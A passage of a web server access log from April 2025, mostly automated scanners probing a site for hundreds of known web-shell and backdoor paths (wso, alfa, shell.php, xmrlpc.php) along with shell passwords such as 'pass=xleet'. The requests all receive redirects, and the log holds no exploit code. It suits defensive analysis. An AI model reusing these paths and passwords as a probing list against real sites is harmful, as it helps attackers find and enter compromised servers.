13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 18.223.108.59 - - [16/Apr/2025:14:41:32 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 66.249.64.160 - - [16/Apr/2025:14:57:07 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.173 - - [16/Apr/2025:14:57:08 -0400] "GET /images/social/Social_by_Deisgn_Pitara_01.jpg HTTP/1.1" 301 795 "-" "Googlebot-Image/1.0" 169.150.218.67 - - [16/Apr/2025:14:59:45 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 52.80.167.229 - - [16/Apr/2025:15:07:23 -0400] "GET /img/porto-home/Spice_Packaging_Design_for_Blurry_Foods.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 162.0.232.217 - - [16/Apr/2025:15:34:38 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:34:41 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:34:45 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:34:47 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:34:49 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:34:53 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:34:55 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:34:56 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:01 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:04 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:10 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:16 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:22 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:26 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:30 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:32 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:36 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:37 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:35:40 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:37 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:38 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:40 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:43 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:44 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:46 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:48 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:49 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:51 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:52 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:55 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:56 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:57 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:38:58 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:39:00 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:39:02 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:39:05 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:39:07 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:15:39:08 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 169.150.218.67 - - [16/Apr/2025:15:47:10 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.31.0" 40.69.36.253 - - [16/Apr/2025:15:51:33 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:34 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:35 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:35 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:36 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:37 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:39 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:40 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:40 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:41 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:42 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:43 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:43 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:44 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:44 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:45 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:46 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:47 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:47 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:48 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:49 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:50 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:51 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:52 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:52 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:52 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:53 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:54 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:55 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:55 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:56 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:56 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:57 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:57 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:58 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:58 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:58 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:51:59 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:00 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:01 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:02 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:02 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:02 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:03 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:04 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:04 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:05 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:05 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:05 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:06 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:06 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:07 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:07 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:08 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:09 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:09 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:10 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:11 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:11 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:12 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:12 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:13 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:14 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:14 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:15 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:15 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:17 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:18 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:18 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:19 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:19 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:20 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:20 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:20 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:21 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:21 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:21 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:22 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:22 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:23 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:23 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:24 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:24 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:25 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:26 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:26 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:27 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:27 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:28 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:29 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:30 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:30 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:31 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:32 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:32 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:33 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:34 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:34 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:35 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:36 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:36 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:37 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:37 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:38 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:38 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:39 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:39 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:40 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:40 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:41 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:41 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:42 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:43 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:44 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:44 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:45 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:46 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:47 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:49 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:50 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:50 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:52 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:52 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:53 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:54 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:54 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:55 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:55 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:56 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:56 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:57 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:58 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:58 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:52:59 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:00 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:01 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:04 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:04 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:05 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:06 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:07 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:08 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:10 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:11 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:12 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:12 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:14 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:15 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:15 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:16 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:17 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:18 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:19 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:20 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:21 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:21 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:22 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:22 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:23 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:23 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:24 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:25 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:26 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:27 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:28 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:28 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:29 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:29 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:30 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:15:53:31 -0400] "GET 